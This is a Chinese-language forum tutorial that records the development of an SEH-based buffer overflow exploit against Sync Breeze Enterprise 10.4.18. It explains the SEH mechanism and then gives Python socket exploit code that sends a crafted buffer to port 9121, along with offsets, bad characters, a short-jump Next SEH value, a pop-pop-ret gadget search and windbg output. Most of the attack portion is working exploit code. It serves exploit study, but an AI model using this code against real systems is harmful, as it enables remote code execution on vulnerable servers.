-
-
[原创] Windows SEH 结构化异常溢出分析记录
-
发表于: 2小时前 40
-
这个部分是最基础的,一切都先从理解SEH结构体开始这个结构体大概如下:
举个例子,假设一个程序,为了程序的健壮,大概会写这样的代码:
注意这个代码写的和下面图是不一样的,只是为了理解内存图写的代码而已,这样写方便理解。
OK上述代码应该足够清晰明了,现在假设s2()这个函数是用于从网络上接受数据的业务逻辑函数,如果我们需要远程攻击这个程序,假设此时从s2()处引发的崩溃,那么在内存当中的异常处理就会如下所示
注意到上面这个点,我特意隐去了无关部分,只是说这个调用关系,在s2()引发的异常,是无法影响s2()之前的部分的(seh1())。
换做更复杂的调用也是一样,首先,溢出是从低地址向高地址的。那么如果在触发溢出之前,就有别的异常处理,是完全无法控制溢出之前的一场处理的,假设如下:
OK理解到这里的概念以后,那么SEH的利用流程大概如下:
在某个功能点引发崩溃,然后系统会去找SEH结构体来处理崩溃,系统找SEH结构体时先找的是SE Handler,这按照常理来说,是异常处理的逻辑部分的地址,所以不能让它真的走到这个异常处理,而是让他走到一个PPR(pop pop ret)的逻辑的地址,让他最后回到这里来,不能真的让程序去找异常处理的逻辑,当程序的流程回到这里以后,此时eip会执行它此时指向的地址的指令(和平常一样),但是由于我们没有真的去处理异常,而是用了PPR的指令让它回来,所以eip此时一定会指向SEH结构体当中的Next SEH这个部分,之后让Next SEH这个部分指令直接跳到shellcode的位置即可。
漏洞程序 syncbreezeent_setup_v10.4.18
exploit-db : ee2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7K6z5e0x3$3
安装好环境以后,用这个基础Poc来进行调试分析
执行exp查看windbg日志,通过windbg日志可以看出来,溢出到了某个SEH结构体

使用msf生成有序字符串
修改exp,查看windbg,可以看到SE Handler在128 的位置


根据SEH结构体修改一下代码,加载到windbg
可以看到SE Handler和Next SEH都已经被覆盖了,符合代码预期
Next SEH -> B填充
SE Handler -> C填充
后续的缓冲区部分被D填充

修改代码
加载到windbg,看到这个部分\x02是第一个坏字符(默认情况下\x00就是坏字符,所以不特别提及)

重复上面的步骤找出所有坏字符
例图:


前置准备都做完了,接下来我们需要找一组PPR指令,也就是
pop eax/ebx/ecx/edx/esi/edi/ebp ; pop eax/ebx/ecx/edx/esi/edi/ebp ; ret
利用pop指令把前面的垃圾数据弹出去,然后利用ret回到当前栈。
这里这样理解有些抽象,接下来我们通过windbg来转储查看这个过程。
在windbg当中查看这个过程

我们先来看这个部分,shellcode在Next SEH和SE Handler之后,当前的eip指向了SE Handler符合在概念部分理解的SEH结构体工作原理。所以此时如果想要执行这个shellcode,那就需要把前面两个部分给弹出去。从这个部分可以观察到,当前ESP + 8的位置,就是SEH结构体的地址,而SEH结构体的部分后面跟着的就是shellcode的部分,所以思路就是我们需要跳回这里,然后把 42424242(Next SEH) 的部分换成一个短跳转的指令。
那么让我们先来修改Next SEH的部分,将这个部分指令换成jmp short 0x8确保能够跳到后续的shellcode部分,为了避免坏字符,所以用\x90来填充。
先不着急验证,接下来处理刚刚最核心的部分PPR,需要让程序的执行流回到刚刚设置的这个指令处,接下来的方式有很多种,可以用pykd/narly/rp++,目前使用narly结合脚本来查找。
然后在windbg 加载
执行 !nmod 会输出所有 loaded modules 及其内存保护

我们来看这个部分,以00开头的dll是不可用的,因为如果要使用,就必然包含一个\x00这样的坏字符。所以实际上能用的就只有libpal,注意:查找PPR指令的方式有非常多种,比如现在当我们得知要查找的dll以后可以直接使用rp++导出。我们现在使用的方式是,利用windbg的脚本查找。
find_ppr.wds
之后在windbg当中加载,能找到非常非常多,挑选地址不存在坏字符的。

接着修改exp,如果一切顺利,我们应该会走到shellcode当中
加载到windbg当中验证这个逻辑

从windbg的记录可以清晰的看到,已经走到了模拟shellcode的部分,正在执行nop指令。
注意,这里的PPR指令会因为dll的加载顺序而不同
这一点非常重要,来看两段windbg记录
也就是两个地址其实都没错,只是一个是libspp的 一个是libpal 都是PPR指令,暂时无法从代码层面来解决这个问题。这个问题的原因是:libspp.dll 和 libpal.dll 的首选基址可能都是 0x10000000,所以exp也因为这个原因,不能做到100%成功,每次运行都有50%的概率。
所有的逻辑都通了以后,需要查看剩余的空间是否足够写入shellcode
来查看windbg当中的输出(注意此时我的断点就是在PPR指令,不要在意是哪个PPR地址),可以明显看到没有字符C的痕迹。这块缓冲区有128字节大小。

显然这个缓冲区不足以写入shellcode,需要找到后续的C字符,写在哪里。来搜索一下,找到了位置以后计算一下和当前的距离0x7d4字节距离
注意:环境差异,栈基址的变化:不同的操作系统版本(Win7 vs Win10)、不同的补丁号(Patch Level),甚至仅仅是环境变量的长度不同,都会导致栈的起始位置(Stack Base)发生微小的偏移。
在 Exploit 开发中,绝对偏移量(Absolute Offset)几乎永远是不固定的。不能依赖“向后跳 0x7d4 字节”这种硬编码的指令,因为换台机器可能就变成了 0x800,攻击就失效了。这也引出了解决“空间不足”问题的终极方案——Egg Hunter(猎蛋技术)。
但是Egg Hunter技术不在这里细说,当前文章主要写SEH溢出
继续修改代码
加载到windbg查看输出,一切如代码预期,顺利走到了shellcode的预设位置

使用msf生成shellcode
struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4字节:指向下一个节点的指针 PEXCEPTION_ROUTINE Handler; // 4字节:异常处理函数的地址};struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; // 4字节:指向下一个节点的指针 PEXCEPTION_ROUTINE Handler; // 4字节:异常处理函数的地址};#include <stdio.h>#include <stdlib.h>int seh1(){} // 异常处理逻辑1int seh2(){} // 异常处理逻辑2int seh3(){} // 异常处理逻辑3int s1(){} //业务逻辑1int s2(){} //业务逻辑2int main(){ __try { s1(); // 业务逻辑1 } __except ( /* filter expression */ ) { seh1(); //异常处理逻辑1 } __try { } __except ( /* filter expression */ ) { seh2(); //异常处理逻辑2 }}#include <stdio.h>#include <stdlib.h>int seh1(){} // 异常处理逻辑1int seh2(){} // 异常处理逻辑2int seh3(){} // 异常处理逻辑3int s1(){} //业务逻辑1int s2(){} //业务逻辑2int main(){ __try { s1(); // 业务逻辑1 } __except ( /* filter expression */ ) { seh1(); //异常处理逻辑1 } __try { } __except ( /* filter expression */ ) { seh2(); //异常处理逻辑2 }}s2()接收到的buffer --触发-->seh2()s2()接收到的buffer --触发-->seh2()内存地址 (低 -> Low Address) | | SEH节点,假设在低地址有一个SEH | | ---------------------------------- | [ Buffer 的起始位置 ] <--- 假设这里有个函数 S2()在接收buffer造成溢出 | ---------------------------------- | | | | (你的 1000 个 'A' 只能往这个方向写!) | V (向高地址覆盖) | | ---------------------------------- | [ SEH 节点 ] <--- 这是SEH2 | (它在下面/后面) | (被 AAAA 淹没) | ---------------------------------- |内存地址 (高 -> High Address)内存地址 (低 -> Low Address) | | SEH节点,假设在低地址有一个SEH | | ---------------------------------- | [ Buffer 的起始位置 ] <--- 假设这里有个函数 S2()在接收buffer造成溢出 | ---------------------------------- | | | | (你的 1000 个 'A' 只能往这个方向写!) | V (向高地址覆盖) | | ---------------------------------- | [ SEH 节点 ] <--- 这是SEH2 | (它在下面/后面) | (被 AAAA 淹没) | ---------------------------------- |内存地址 (高 -> High Address)引发崩溃-> SE Handle -> Next SEH -> jmp shellcode -> execute shellcode 引发崩溃-> SE Handle -> Next SEH -> jmp shellcode -> execute shellcode #!/usr/bin/pythonimport socketimport sysfrom struct import packtry: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b'A' * size header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!")except socket.error: print("Could not connect!")#!/usr/bin/pythonimport socketimport sysfrom struct import packtry: server = sys.argv[1] port = 9121 size = 1000 inputBuffer = b'A' * size header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack('<I', len(inputBuffer)) header += pack('<I', len(inputBuffer)) header += pack('<I', inputBuffer[-1]) buf = header + inputBuffer print("Sending evil buffer...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) s.send(buf) s.close() print("Done!")except socket.error: print("Could not connect!")msf-pattern_create -l 1000msf-pattern_create -l 1000inputBuffer = b'......' # msf 生成的字符串inputBuffer = b'......' # msf 生成的字符串port = 9121size = 1000Next_SEH = b'B' * 4SE_Handler = b'C' * 4inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + b'D' * (size - 132)port = 9121size = 1000Next_SEH = b'B' * 4SE_Handler = b'C' * 4inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + b'D' * (size - 132)port = 9121size = 1000Next_SEH = b'B' * 4SE_Handler = b'C' * 4badchars = b'\x01\x02\x03\x04......' # 坏字符串inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + badcharsinputBuffer += b'D' * (size - len(inputBuffer))port = 9121size = 1000Next_SEH = b'B' * 4SE_Handler = b'C' * 4badchars = b'\x01\x02\x03\x04......' # 坏字符串inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + badcharsinputBuffer += b'D' * (size - len(inputBuffer))\x00 \x02 \x0a \x0d\x00 \x02 \x0a \x0dport = 9121size = 1000Next_SEH = b'B' * 4SE_Handler = b'C' * 4shellcode = b'\x90' * 400# \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcodeinputBuffer += b'D' * (size - len(inputBuffer))port = 9121size = 1000Next_SEH = b'B' * 4SE_Handler = b'C' * 4shellcode = b'\x90' * 400# \x00 \x02 \x0a \x0d inputBuffer = b'A' * 124 + Next_SEH + SE_Handler + shellcodeinputBuffer += b'D' * (size - len(inputBuffer))0:011> dd esp L401b0f440 76fb3c22 01b0f540 01b0ff44 01b0f55c0:011> dd 01b0ff44 L401b0ff44 42424242 43434343 90909090 909090900:011> dd esp L401b0f440 76fb3c22 01b0f540 01b0ff44 01b0f55c0:011> dd 01b0ff44 L401b0ff44 42424242 43434343 90909090 90909090port = 9121size = 1000Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90 port = 9121size = 1000Next_SEH = b'\xeb\x06\x90\x90' # EB 06 90 90